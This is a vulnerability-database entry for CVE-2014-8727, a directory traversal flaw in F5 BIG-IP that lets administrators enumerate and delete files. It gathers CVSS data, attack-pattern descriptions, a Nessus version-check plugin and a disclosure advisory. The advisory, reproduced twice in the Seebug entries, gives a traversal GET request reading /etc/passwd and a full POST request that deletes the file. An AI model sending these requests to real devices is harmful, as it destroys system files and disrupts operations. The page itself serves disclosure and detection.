Vulnerabilities > CVE-2014-8727 - Path Traversal vulnerability in F5 Big-Ip Local Traffic Manager

047910
CVSS 6.2 - MEDIUM
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
NONE
Integrity impact
COMPLETE
Availability impact
COMPLETE
local
low complexity
f5
CWE-22
nessus
exploit available

Summary

Multiple directory traversal vulnerabilities in F5 BIG-IP before 10.2.2 allow local users with the "Resource Administrator" or "Administrator" role to enumerate and delete arbitrary files via a .. (dot dot) in the name parameter to (1) tmui/Control/jspmap/tmui/system/archive/properties.jsp or (2) tmui/Control/form.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionF5 BIG-IP 10.1.0 - Directory Traversal Vulnerability. CVE-2014-8727. Webapps exploit for jsp platform
fileexploits/jsp/webapps/35222.txt
idEDB-ID:35222
last seen2016-02-04
modified2014-11-13
platformjsp
port
published2014-11-13
reporterAnastasios Monachos
sourcehttps://www.exploit-db.com/download/35222/
titleF5 BIG-IP 10.1.0 - Directory Traversal Vulnerability
typewebapps

Nessus

  • NASL familyF5 Networks Local Security Checks
    NASL idF5_BIGIP_ID363027.NASL
    descriptionThe
    last seen2020-06-01
    modified2020-06-02
    plugin id80119
    published2014-12-19
    reporterThis script is Copyright (C) 2014-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/80119
    titleF5 Networks BIG-IP : Directory Traversal and File Deletion (ID 363027)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from F5 Networks BIG-IP Solution SOL9990.
    #
    # The text description of this plugin is (C) F5 Networks.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(80119);
      script_version("1.4");
      script_cvs_date("Date: 2018/07/10 14:27:33");
    
      script_cve_id("CVE-2014-8727");
      script_bugtraq_id(71063);
      script_xref(name:"EDB-ID", value:"35222");
    
      script_name(english:"F5 Networks BIG-IP : Directory Traversal and File Deletion (ID 363027)");
      script_summary(english:"Checks the BIG-IP version.");
    
      script_set_attribute(attribute:"synopsis", value:"The remote device is missing a vendor-supplied security patch.");
      script_set_attribute(attribute:"description", value:
    "The 'properties.jsp' and 'tmui/Control/form' contain a flaw in how
    user-supplied parameters are validated, specifically the 'name'
    parameter. An authenticated user with the role of 'Resource
    Administrator' or 'Administrator' can exploit this flaw to arbitrarily
    enumerate and subsequently delete files on the system via standard
    HTTP requests using directory traversal sequences.");
      # https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c2087c03");
      script_set_attribute(attribute:"see_also", value:"http://www.exploit-db.com/exploits/35222/");
      script_set_attribute(attribute:"solution", value:"Upgrade to version 10.2.2 Hotfix 2 / version 11 or later.");
      script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:S/C:N/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:f5:big-ip_local_traffic_manager");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/12");
      script_set_attribute(attribute:"patch_publication_date", value:"2011/08/24");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/19");
    
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2014-2018 Tenable Network Security, Inc.");
      script_family(english:"F5 Networks Local Security Checks");
    
      script_dependencies("f5_bigip_detect.nbin");
      script_require_keys("Host/local_checks_enabled", "Host/BIG-IP/hotfix", "Host/BIG-IP/modules", "Host/BIG-IP/version");
    
      exit(0);
    }
    
    
    include("f5_func.inc");
    
    if ( ! get_kb_item("Host/local_checks_enabled") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    version = get_kb_item("Host/BIG-IP/version");
    hotfix  = get_kb_item("Host/BIG-IP/hotfix");
    if ( ! version ) audit(AUDIT_OS_NOT, "F5 Networks BIG-IP");
    if ( isnull(hotfix) ) audit(AUDIT_KB_MISSING, "Host/BIG-IP/hotfix");
    if ( ! get_kb_item("Host/BIG-IP/modules") ) audit(AUDIT_KB_MISSING, "Host/BIG-IP/modules");
    
    vmatrix    = make_array();
    affected   = make_list("10.1.0-10.2.2HF1");
    unaffected = make_list("9","10.2.2HF2","11");
    modules    = make_list(
      "GTM",
      "LTM",
      "ASM",
      "AM",
      "AFM",
      "LC",
      "WAM",
      "WOM",
      "AVR",
      "PSM",
      "APM"
    );
    
    foreach module (modules)
    {
      vmatrix[module] = make_array();
      vmatrix[module]["affected"  ] = affected;
      vmatrix[module]["unaffected"] = unaffected;
    }
    
    if(hotfix != "0") version += 'HF'+hotfix;
    
    if (bigip_is_affected(vmatrix:vmatrix, sol:"NONE"))
    {
      if (report_verbosity > 0)
      {
        report =
          '\n  BIGIP version : ' + version +
          '\n  Fixed version : 10.2.2HF2 / 11';
        security_warning(port:0, extra:report+'\n');
      }
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = bigip_get_tested_modules();
      audit_extra = "For BIG-IP module(s) " + tested + ",";
      if (tested) audit(AUDIT_INST_VER_NOT_VULN, audit_extra, version);
      else audit(AUDIT_HOST_NOT, "running any of the affected modules");
    }
    
  • NASL familyF5 Networks Local Security Checks
    NASL idF5_BIGIP_SOL16121.NASL
    descriptionMultiple directory traversal vulnerabilities in F5 BIG-IP before 10.2.2 allow local users with the
    last seen2020-06-01
    modified2020-06-02
    plugin id88433
    published2016-01-28
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/88433
    titleF5 Networks BIG-IP : BIG-IP directory traversal vulnerability (SOL16121)

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/129084/secuid0.advisory.CVE-2014-8727.txt
idPACKETSTORM:129084
last seen2016-12-05
published2014-11-12
reporterAnastasios Monachos
sourcehttps://packetstormsecurity.com/files/129084/F5-BIG-IP-10.1.0-Directory-Traversal.html
titleF5 BIG-IP 10.1.0 Directory Traversal

Seebug

  • bulletinFamilyexploit
    description+------------------------------------------------------+ + F5 BIG-IP 10.1.0 - Directory Traversal Vulnerability + +------------------------------------------------------+ Affected Product : F5 BIG-IP Vendor Homepage : http://www.f5.com/ Version : 10.1.0 Vulnerability Category : Local vulnerability Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] CVE : CVE-2014-8727 Patched : Yes +-------------+ + Description + +-------------+ An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to arbitrary enumerate files and subsequently delete them off the OS level. Any system file deletion, for instance under /etc, /boot etc would have a major functionality and operational impact for the device. +----------------------+ + Exploitation Details + +----------------------+ An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level. In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-. Sample HTTP POST request: POST /tmui/Control/form HTTP/1.1 Host: <ip> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=../../../../../etc/passwd Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 937 _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete +----------+ + Solution + +----------+ F5 has already patched and mitigated the issue, for more information see ID363027 at the following URL: https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html https://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote_11_0_0_ltm.html +---------------------+ + Disclosure Timeline + +---------------------+ 03-11-2014: Vendor notified at security-reporting [at] f5 [dot] com 04-11-2014: Vendor responded with intent to investigate 04-11-2014: Shared details with vendor 05-11-2014: Vendor confirmed the issue is already patched, reference ID363027 12-11-2014: Public disclosure
    idSSV:89539
    last seen2017-11-19
    modified2015-09-25
    published2015-09-25
    reporterJeremy_he
    titleF5 BIG-IP 10.1.0 - Directory Traversal Vulnerability
  • bulletinFamilyexploit
    descriptionAffected Product : F5 BIG-IP Vendor Homepage : http://www.f5.com/ Version : 10.1.0 Vulnerability Category : Local vulnerability Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] CVE : CVE-2014-8727 Patched : Yes An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to arbitrary enumerate files and subsequently delete them off the OS level. Any system file deletion, for instance under /etc, /boot etc would have a major functionality and operational impact for the device. An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level. In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-. Sample HTTP POST request: POST /tmui/Control/form HTTP/1.1 <pre> Host: <ip> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=../../../../../etc/passwd Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 937 </pre> _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete F5 has already patched and mitigated the issue, for more information see ID363027 at the following URL: https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html https://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote_11_0_0_ltm.html 03-11-2014: Vendor notified at security-reporting [at] f5 [dot] com 04-11-2014: Vendor responded with intent to investigate 04-11-2014: Shared details with vendor 05-11-2014: Vendor confirmed the issue is already patched, reference ID363027 12-11-2014: Public disclosure
    idSSV:89443
    last seen2017-11-19
    modified2015-09-16
    published2015-09-16
    titleF5 BIG-IP 10.1.0 - Directory Traversal Vulnerability